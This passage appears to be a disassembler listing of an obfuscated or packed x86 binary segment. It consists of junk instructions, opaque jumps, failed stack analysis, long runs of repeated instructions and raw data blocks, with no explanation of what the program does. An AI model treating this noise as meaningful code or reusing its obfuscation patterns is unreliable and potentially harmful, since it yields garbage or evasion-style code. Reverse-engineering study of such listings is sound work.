0C1DAh sbb ebx, 6154B33Fh or cl, 5Dh movsx eax, ax call near ptr loc_615246+4 xchg eax, ecx adc eax, 82DBF451h loc_61523E: ; CODE XREF: sdfs____:00615261j dec ecx sbb ah, cl jnb short loc_615285 mov ah, [edi-7Ch] loc_615246: ; CODE XREF: sdfs____:00615233p mov esp, 0FF6F5E6h mov edi, 8B665FC2h shl byte ptr [eax-75h], 1 enter 0FFFF8166h, 0DEh in al, dx bound esp, [ecx+66h] mov edx, 0BA504C34h pop ss jnp short loc_61523E db 67h pop edi mov bx, dx jg loc_615273 mov ebx, 4C7EA6F2h loc_615273: ; CODE XREF: sdfs____:00615268j mov eax, 6D48FE65h mov si, cx jnz loc_615284 mov ax, cx loc_615284: ; CODE XREF: sdfs____:0061527Bj cmc loc_615285: ; CODE XREF: sdfs____:00615241j mov bl, 77h movsx edi, ax jmp loc_615297 ; --------------------------------------------------------------------------- db 0EDh dd 0E8D0168Eh db 0ADh, 9Dh, 0A9h ; --------------------------------------------------------------------------- loc_615297: ; CODE XREF: sdfs____:0061528Aj ; sdfs____:006152A7j push eax mov bx, 69A3h pop eax call near ptr loc_6152AF+2 xor eax, 825E818h jb short loc_615297 adc [esi-79h], al add al, 0A2h inc eax loc_6152AF: ; CODE XREF: sdfs____:0061529Dp mov esp, 5FDF8B82h mov si, ax push eax jo loc_6152C1 mov cx, di loc_6152C1: ; CODE XREF: sdfs____:006152B8j pop ebx mov bh, 22h sub edx, 2D9C7BAEh sbb di, 0A755h mov di, 296Fh pusha jmp loc_6152E9 ; --------------------------------------------------------------------------- db 2Dh, 4Ch, 24h dd 0B112C6E4h, 0E6E27DD0h, 0E664CE43h db 0EDh ; --------------------------------------------------------------------------- loc_6152E9: ; CODE XREF: sdfs____:006152D4j call sub_6152FC and edi, [esi-75h] fld qword ptr [eax+61h] pop ss inc edx inc esi mov eax, ds:8153ED86h ; =============== S U B R O U T I N E ======================================= sub_6152FC proc near ; CODE XREF: sdfs____:loc_6152E9p movsx eax, ax pop esi popa jz loc_61530D and edi, 6B84FA35h loc_61530D: ; CODE XREF: sub_6152FC+5j mov ax, 0C5A0h mov esi, edx mov ebx, esi sub ebx, 6062BB8Fh mov ax, 1003h mov edx, esi mov esi, eax pusha pusha sub edx, 5B0109DCh and edi, 113C3E3h popa popa add edi, 460BFF5Ch mov dh, 0D2h sub ebx, 0A9D5C1Dh pusha add bx, 989Bh popa push ebx pop ecx mov al, cl jnb loc_615356 mov dx, 2315h loc_615356: ; CODE XREF: sub_6152FC+50j jo loc_615368 jbe loc_615368 jbe $+6 loc_615368: ; CODE XREF: sub_6152FC:loc_615356j ; sub_6152FC+60j movzx ecx, dx jmp loc_615383 ; --------------------------------------------------------------------------- dd 8ED512A2h, 1676430Eh, 9C2F5C88h, 0E1045C2Fh db 3Dh, 90h, 0EEh ; --------------------------------------------------------------------------- loc_615383: ; CODE XREF: sub_6152FC+6Fj pusha push ebx stc pop ecx popa push ebx pop eax call loc_615394 mov esp, 0AE10C602h sub_6152FC endp ; sp-analysis failed loc_615394: ; CODE XREF: sub_6152FC+8Ep mov bx, di pop edi jge loc_6153C6 call sub_6153AE ; --------------------------------------------------------------------------- db 62h ; --------------------------------------------------------------------------- retn 0B731h ; --------------------------------------------------------------------------- db 0D7h dd 1B8A4EBEh ; --------------------------------------------------------------------------- xor cl, al ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_6153AE proc near ; CODE XREF: sdfs____:0061539Ep jmp sub_6153C5 sub_6153AE endp ; --------------------------------------------------------------------------- db 16h dd 3F3B1A05h, 8AF35E6Fh, 852E070Eh, 3FC9C013h db 6Dh ; =============== S U B R O U T I N E ======================================= sub_6153C5 proc near ; CODE XREF: sub_6153AEj ; FUNCTION CHUNK AT 006154B1 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 006154DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 006154F0 SIZE 00000CA5 BYTES pop edi loc_6153C6: ; CODE XREF: sdfs____:00615398j movzx eax, si mov dl, 3Dh ja loc_6153D3 mov dh, 8Dh loc_6153D3: ; CODE XREF: sub_6153C5+6j sub di, 1ABh jmp loc_6153F1 ; --------------------------------------------------------------------------- db 0A6h, 4Fh, 8Ah dd 0DA6F7B42h, 4C785CE3h, 0EC69881h, 0D286FC0Bh ; --------------------------------------------------------------------------- pop es loc_6153F1: ; CODE XREF: sub_6153C5+13j movzx edi, cx mov cx, bx jge loc_615406 jl loc_615406 movsx esi, di loc_615406: ; CODE XREF: sub_6153C5+32j ; sub_6153C5+38j movsx edx, ax mov dx, bx jge loc_615423 jmp loc_615423 ; --------------------------------------------------------------------------- db 7Dh dd 0F314708Fh, 0C58010D8h db 1Eh, 0D2h, 8Fh ; --------------------------------------------------------------------------- loc_615423: ; CODE XREF: sub_6153C5+47j ; sub_6153C5+4Dj add ax, 0B6A9h jz loc_615434 sbb esi, 7A23B8D9h loc_615434: ; CODE XREF: sub_6153C5+63j jmp loc_615443 ; --------------------------------------------------------------------------- db 0F5h, 63h, 0F3h dd 514B3A79h db 0D2h, 0B8h, 0CDh ; --------------------------------------------------------------------------- loc_615443: ; CODE XREF: sub_6153C5:loc_615434j mov esi, edx mov eax, 4E9C6A31h adc di, 245Bh mov ax, 0E988h adc dh, 0A1h mov si, ax add ax, 0E25Bh mov cl, 92h mov cx, ax call sub_615470 and eax, 0EB129031h jmp short loc_6154B1 sub_6153C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0D2h ; =============== S U B R O U T I N E ======================================= sub_615470 proc near ; CODE XREF: sub_6153C5+9Ep cmc pop ebx push esi mov bh, 0BBh pop ebx mov bh, 0E3h mov eax, 7D657794h jns loc_61548A push esi and bx, 628Fh pop esi loc_61548A: ; CODE XREF: sub_615470+Dj adc ah, 58h mov ax, 0E192h jmp loc_6154A1 ; --------------------------------------------------------------------------- dw 0B112h dd 0E6E27DD0h, 0E664CE43h db 0EDh ; --------------------------------------------------------------------------- loc_6154A1: ; CODE XREF: sub_615470+21j mov di, 0E09Eh push eax jmp loc_6154B6 sub_615470 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dd 8D8CABC4h db 0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_6153C5 loc_6154B1: ; CODE XREF: sub_6153C5+A8j sbb eax, 8B266121h loc_6154B6: ; CODE XREF: sub_615470+36j pop edx mov eax, 29A63093h add dl, 53h add ax, 953Dh or ebx, 7EE1317Ah pusha mov edi, ebx popa jmp loc_6154DA ; END OF FUNCTION CHUNK FOR sub_6153C5 ; --------------------------------------------------------------------------- db 3Bh dd 0E3981457h ; --------------------------------------------------------------------------- sbb ch, [ecx] ; START OF FUNCTION CHUNK FOR sub_6153C5 loc_6154DA: ; CODE XREF: sub_6153C5+109j jmp loc_6154F0 ; END OF FUNCTION CHUNK FOR sub_6153C5 ; --------------------------------------------------------------------------- db 4Ch dd 82D57EE5h, 0BD04B873h, 0FCCB6827h, 0F848FAC6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_6153C5 loc_6154F0: ; CODE XREF: sub_6153C5:loc_6154DAj mov di, 1696h pusha mov al, 0DBh pusha mov ebx, 1550F66Ah popa popa ror dh, cl mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah ror esi, 1 mul ah lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ecx, [esi+7Ch] cmp eax, 3D7C4E8Dh lea ebp, [edx-54235C25h] ; END OF FUNCTION CHUNK FOR sub_6153C5 ; --------------------------------------------------------------------------- db 0DBh, 0A3h, 0DCh dd 201h dup(0DCA3DBABh), 50A3DBABh, 0ABh dup(50324ED0h) db 0D0h, 4Eh word_616C4E dw 5032h ; DATA XREF: ___:off_4452FCo dd 0AAh dup(50324ED0h), 0D1FBD6D0h, 1F9h dup(0D1FBD675h) dd 0B2F5D675h, 36h dup(0B2F5636Ah), 671CC76Ah, 104h dup(671CC7F9h) dd 6349CAF9h, 2Eh dup(6349CA5Ch) db 5Ch, 0CAh, 49h ; --------------------------------------------------------------------------- loc_617C8F: ; CODE XREF: sdfs____:005C9482j arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl 